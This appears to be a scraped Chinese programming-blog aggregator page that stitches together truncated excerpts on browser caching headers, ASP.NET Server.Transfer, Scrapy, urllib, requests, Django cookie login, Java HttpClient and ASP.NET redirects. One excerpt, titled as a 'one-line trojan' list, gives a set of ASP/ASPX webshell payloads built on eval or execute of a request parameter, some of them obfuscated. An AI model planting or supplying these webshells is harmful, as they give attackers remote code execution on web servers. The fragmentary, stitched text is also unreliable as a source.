response

Optimize Browser Caching(小记)

为君一笑 提交于 2020-03-02 02:20:12
(1)Cache-Control, 用来减少http请求 在server, response的header中,增加如下内容 response.setHeader("Cache-Control", "max-age=31536000,public"); 浏览器在收到此header后。将该url对应的内容缓存max-age(单位:秒)这么久,在这个时期内,刷新页面,浏览器将会使用本地缓存,不会发任何http请求 此时在DragonFlag上观察,可以清楚的看到no request made 注意:这里的刷新是指在地址栏按回车!而不是F5或Ctrl+F5!,每种浏览器对F5的处理都不相同,请看下表: http://stackoverflow.com/questions/385367/what-requests-do-browsers-f5-and-ctrl-f5-refreshes-generate 如果在request 的header中的使用了Cache-Control(比如强制刷新就会在request中产生该header),此时会覆盖response中的值。也就是说浏览器的设置可以改变server的response方式。 (2)Expires (用途和Cache-Control一样,减少http请求) (3)Last-Modified(用来减少数据传输,请求不会少:)

ASP.NET页面传值之Server.Transfer

两盒软妹~` 提交于 2020-03-02 01:38:49
http://blog.csdn.net/bdstjk 说起来有点惭愧,做了这么久的.NET,今天才真正搞明白 Server.Transfer 先来看看代码: B.aspx public string TextBox1Text { get { return TextBox1.Text; } } protected void Button1_Click(object sender, EventArgs e) { Server.Transfer("A.aspx"); } A.ASPX protected void Page_Load(object sender, EventArgs e) { B b = Context.Handler as B;//获取到B页面的引用 if (b != null) { Response.Write("人家是A.aspx哦!<br/>"); Response.Write("你在B页面输入的是:"+b.TextBox1Text); } else { Response.Write("你跑过来干嘛!<br/>"); } } 这个才可以说是面象对象开发所使用的方法,其使用Server.Transfer方法把流程从当前页面引导到另一个页面中,新的页面使用前一个页面的应答流,所以这个方法是完全面象对象的,简洁有效。 Server

一句话木马

青春壹個敷衍的年華 提交于 2020-03-02 01:02:15
<%eval request(“c”)%> <%execute request(“c”)%> <%execute(request(“c”))%> <%ExecuteGlobal request(“sb”)%> %><%Eval(Request(chr(35)))%><% <%if request (“c”)<>"“then session(“c”)=request(“c”):end if:if session(“c”)<>”" then execute session(“c”)%> <%eval(Request.Item[“c”],“unsafe”);%> <%eval(request(“c”)):response.end%> <%execute request(“c”)%><%<%loop<%:%> <%<%loop<%:%><%execute request(“c”)%> <%execute request(“c”)<%loop<%:%> <%if Request(“c”)<>"" ThenExecuteGlobal(Request(“c”))%> '不用"<,>" <% @Language=“JavaScript” CodePage="65001"var lcx={‘名字’:Request.form(’#’),‘性别’:eval,‘年龄’:‘18’,‘昵称’:‘请叫我一声老大

day99 爬虫 scrapy介绍 结构介绍

拥有回忆 提交于 2020-03-01 22:07:07
scrapy介绍,架构介绍(框架)ghref scrapy就是爬虫界的django 爬虫框架,别人写好的代码,以后只需要在指定位置写指定代码即可 基于twisted:性能很高 五大组件 引擎:大总管,总的控制数据流动 调度器:去重,加入队列 下载器 :负责下载,加载数据 爬虫:主要写这,解析response和重新发起请求 项目管道:持久化相关 两大中间件 爬虫中间件:爬虫和引擎之间(用的少) 下载中间件:引擎和下载器之间(加代理,加cookie,修改user-agent,继承selenium) scrapy安装(windows) mac/linux:pip3 install scrapy windows: pip3 install scrapy(大部分都可以) -如果上面不行 -pip3 install wheel (xxx.whl文件安装模块) -下载pywin32:两种方式:1 pip3 install pywin32 2 下一个exe安装https://sourceforge.net/projects/pywin32/files/pywin32/ -下载twisted的wheel文件:http://www.lfd.uci.edu/~gohlke/pythonlibs/#twisted 下载完是一个xxx.whl文件 -执行pip3 install 下载目录\Twisted

python中urllib.request对象案例

懵懂的女人 提交于 2020-03-01 19:58:10
刚刚接触爬虫,基础的东西得时时回顾才行,这么全面的帖子无论如何也得厚着脸皮转过来啊! 什么是 Urllib 库? urllib 库 是 Python 内置的 HTTP 请求库。urllib 模块提供的上层接口,使访问 www 和 ftp 上的数据就像访问本地文件一样。 有以下几种模块: 1.urllib.request 请求模块 2. urllib.error 异常处理模块 3. urllib.parse url 解析模块 4. urllib.robotparser robots.txt 解析模块 Urllib 库下的几种模块基本使用如下: urllib.request 关于 urllib.request : urllib.request 模块提供了最基本的构造 HTTP (或其他协议如 FTP)请求的方法,利用它可以模拟 浏览器 的一个请求发起过程。利用不同的协议去获取 URL 信息。它的某些接口能够处理基础认证 ( Basic Authenticaton) 、redirections (HTTP 重定向)、 Cookies (浏览器 Cookies)等情况。而这些接口是由 handlers 和 openers 对象提供的。 1.常用的方法有   read()==读取文件内容   geturl()==获取请求url   getheaders()==获取http请求头信息  

requests模块中返回的content和text的区别

≡放荡痞女 提交于 2020-03-01 19:40:22
test 类型: str 解码类型:根据 HTTP 头部响应的编码做出有根据的推测,推测的文本编码。 改变编码的方式: response.encoding= ” gbk ” 用途: response.text 返回的是 Unicode 型数据;一般用来获取文本 response.text ; content 类型: bytes 解码类型:没有指定 修改编码的方式: response.content.decode( “ utf8 ” ) 用途: response.content 返回的是 bytes 类型,也就是二进制数据;用来获取图片,文件 response.content 来源: https://www.cnblogs.com/lslin/p/12391129.html

Difference between attributes id and uri within _metadata node of a OData request/response?

眉间皱痕 提交于 2020-03-01 18:26:09
问题 What is the difference between attributes id and uri within _metadata node of a OData request/response? All request/response sent by UI5 app contain those both attributes which are every time equal. Isn't this an unwanted redundancy? Is there any configuration in the gateway server which corresponds to those attributes? I would expect here only one attribute containing key which relates service part only i.e. SERVICE_ID/Entity_Name/keys I'm currently working with version 1.71 let

关于Django中使用cookie的三天免登录代码

自古美人都是妖i 提交于 2020-03-01 17:57:59
创建templates/login.htm <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form action="/student/login/" method="post"> {% csrf_token %} <p> <label>用户名:</label><input type="text" name="sname" value="{{ sname }}"> </p> <p> <label>密码:</label><input type="password" name="pwd" value="{{ pwd }}"> </p> <p> <input type="checkbox" name="check" value="1">记住密码 </p> <p> <input type="submit" value="登录"> </p> </form> </body> </html> 配置路由 根路由 from django.contrib import admin from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls),

HttpClientUtils.java

时光毁灭记忆、已成空白 提交于 2020-03-01 14:41:43
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.Map.Entry; import java.util.Set; import org.apache.commons.httpclient.Header; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.HttpException; import org

页面跳转总结

时间秒杀一切 提交于 2020-03-01 09:37:25
asp.net中打开新窗口的多种方法 1.Response.Redirect("XXX.aspx",true)——直接转向新的页面,原窗口被代替; 2. Response.Write("<script>window.open(XXX.aspx'',''_blank'')</script>")——原窗口保留,另外新增一个新页面; 3.Response.Write("<script>window.location=XXX.aspx''</script>")——打开新的页面,原窗口被代替; 4.Server.Transfer("XXX.aspx")——打开新的页面; 5.Response.Write("<script>window.showModelessDialog(XXX.aspx'')</script>")——原窗口保留,以对话框形式打开新窗口; 6.Response.Write("<script>window.showModalDialog(XXX.aspx'')</script>")——对话框形式打开新窗口,原窗口被代替; 1 Response.Redirect 这个跳转页面的方法跳转的速度不快,因为它要走2个来回(2次postback),但他可以跳 转到任何页面,没有站点页面限制(即可以由雅虎跳到新浪),同时不能跳过登录保护。但速度慢是其最大缺陷!Redirect跳转机制